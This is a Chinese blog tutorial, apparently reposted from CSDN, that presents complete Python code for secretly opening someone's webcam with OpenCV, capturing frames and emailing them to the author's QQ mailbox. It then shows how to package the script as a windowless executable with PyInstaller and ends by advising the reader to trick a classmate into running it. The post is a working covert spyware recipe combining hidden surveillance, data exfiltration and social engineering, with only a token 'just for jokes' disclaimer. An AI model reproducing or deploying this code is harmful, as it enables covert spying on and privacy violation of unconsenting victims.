用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

作者:Keter_ 时间:2021-04-26 22:34:55 

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下


import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
 sender = '写你的qq邮箱地址'
 receivers = '写你的qq邮箱地址'
 message = MIMEMultipart('related')
 subject = '终于能发图片了'
 message['Subject'] = subject
 message['From'] = sender
 message['To'] = receivers
 content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
 message.attach(content)
 file = open(img, "rb")
 img_data = file.read()
 file.close()
 img = MIMEImage(img_data)
 img.add_header('Content-ID', 'imageid')
 message.attach(img)

try:
   server = smtplib.SMTP_SSL("smtp.qq.com", 465)
   server.login(sender, '写授权码')
   server.sendmail(sender, receivers, message.as_string())
   server.quit()
 except smtplib.SMTPException as e:
   print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码


cap = cv2.VideoCapture(0)
for item in range(10):
 cat, frame = cap.read()
 cv2.imwrite('1.png', frame)
 send('1.png')
 os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装


pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。


Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

来源:https://blog.csdn.net/python_LC_nohtyp/article/details/104420028

标签:Python,打开,摄像头,保存
0
投稿

猜你喜欢

  • Excute后都需要返回一个RecordSet对象吗?

    2009-10-28 18:28:00
  • Python学习之异常中的finally使用详解

    2021-09-08 02:21:38
  • Python实战之markdown转pdf(包含公式转换)

    2023-11-24 12:39:34
  • Python 平方列表中每个数字的多种操作

    2023-11-14 03:53:00
  • PHP获取二叉树镜像的方法

    2023-07-13 02:57:39
  • 实例演示在SQL中启用全文检索

    2011-10-01 14:01:37
  • 使用Python中的greenlet包实现并发编程的入门教程

    2023-10-18 08:29:00
  • 表单系列·出错字段排行榜

    2008-07-01 12:57:00
  • Python环境下安装使用异步任务队列包Celery的基础教程

    2023-08-23 23:06:48
  • WEB页面工具之语言XML的定义

    2008-05-29 11:29:00
  • base href 使用方法详解

    2008-05-18 13:27:00
  • python实现五子棋小游戏

    2023-02-28 08:37:59
  • 3个asp简单技巧

    2009-11-26 20:55:00
  • asp如何用SA-FileUp上传多个HTML文件?

    2010-05-18 18:27:00
  • Python面向对象基础入门之设置对象属性

    2021-10-21 19:25:10
  • ASP网站数据采集经验谈

    2008-03-09 15:30:00
  • Python监听剪切板实现方法代码实例

    2023-11-10 13:48:32
  • CSS教程:关于网页图片的属性的介绍

    2008-10-31 12:02:00
  • 一个ASP(VBScript)简单SQL语句构建“类”

    2008-03-12 07:08:00
  • 关于淘宝网导航几个让人不解的问题

    2009-03-24 21:08:00
  • asp之家 网络编程 m.aspxhome.com